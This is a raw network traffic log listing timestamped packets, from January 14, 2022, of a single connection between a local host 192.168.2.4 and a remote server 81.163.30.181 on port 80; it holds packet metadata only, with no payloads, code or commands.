Jan 14, 2022 20:29:56.345138073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345156908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345175028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345180035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345192909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345211983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345213890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345228910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345240116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345247030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345264912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345276117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345282078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345299006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345314026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345316887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345334053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345336914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345350981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345370054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345386028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345391035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345405102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345423937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345426083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345441103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345454931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345458984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345477104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345490932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345494986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345515013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345530987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345531940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345549107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345554113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345566988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345585108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345602036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345607042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345619917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345639944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345645905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345652103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345669985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345685005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345688105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345704079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345714092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345720053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345736980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345741034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345752954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345763922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345773935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345792055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345804930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345812082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345828056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345829010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345846891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345910072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345916033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345940113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345954895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345973015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345984936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345992088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.346009016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.346013069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.346024990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.346043110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.346050978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.346060991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.346077919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.346085072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.346095085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.346111059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.346142054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.354521990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404493093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404524088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404546976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404572964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404593945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404607058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404616117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404638052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404640913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404659986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404663086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404680967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404702902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404702902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404725075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404747963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404757977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404771090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404793024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404805899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404815912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404828072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404839039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404860020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404882908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404891968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404906034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404930115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404932976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404952049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404961109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.404973030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.404994965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405014992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405019999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405036926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405059099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405060053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405081987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405103922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405107975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405127048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405147076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405150890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405168056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405189991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405200005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405211926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405232906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405235052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405255079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405276060 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405276060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405298948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405320883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405337095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405358076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405360937 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405375957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405379057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405401945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405405998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405421972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405442953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405443907 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405466080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405488014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405495882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405509949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405529976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405531883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405554056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405576944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405576944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405597925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405622005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405622005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405643940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405664921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405683041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405685902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405706882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405710936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405729055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405742884 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405750990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405771017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405793905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405802011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405814886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405837059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405838013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405886889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405920982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405930042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405945063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405958891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.405967951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.405989885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406008959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406013012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406034946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406056881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406061888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406076908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406092882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406099081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406121016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406141996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406152964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406164885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406186104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406187057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406208992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406224966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406230927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406251907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406274080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406276941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406295061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406317949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406323910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406339884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406361103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406382084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406383038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406403065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.406415939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.406449080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.413883924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.465406895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465461969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465503931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465542078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465564966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.465581894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465593100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.465624094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465662003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465665102 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.465701103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465740919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465779066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465783119 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.465817928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.465821028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.465959072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466000080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466006994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466041088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466082096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466083050 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466120005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466159105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466160059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466198921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466237068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466243029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466310024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466348886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466387033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466398954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466428995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466469049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466475010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466509104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466511965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466550112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466588020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466603994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466630936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466670990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466708899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466741085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466748953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466784000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466789007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466830015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466871023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466885090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466918945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.466926098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.466958046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467000008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467005014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467036963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467077017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467087984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467116117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467154026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467194080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467200994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467232943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467272997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467284918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467314005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467324972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467353106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467391968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467403889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467432022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467469931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467509031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467515945 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467547894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467586994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467597961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467628002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467633009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467665911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467706919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467719078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467747927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467784882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467801094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467824936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467864037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467902899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467916012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.467946053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467983007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.467997074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468022108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468029022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468060017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468097925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468111038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468137026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468177080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468188047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468215942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468255997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468293905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468308926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468333006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468372107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468383074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468410015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468415022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468449116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468487978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468497992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468527079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468568087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468579054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468605995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468645096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468683958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468696117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468720913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468728065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468763113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468801022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468811035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468841076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468880892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468884945 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.468919039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.468961000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.469007969 CET	49882	80	192.168.2.4	81.163.30.181
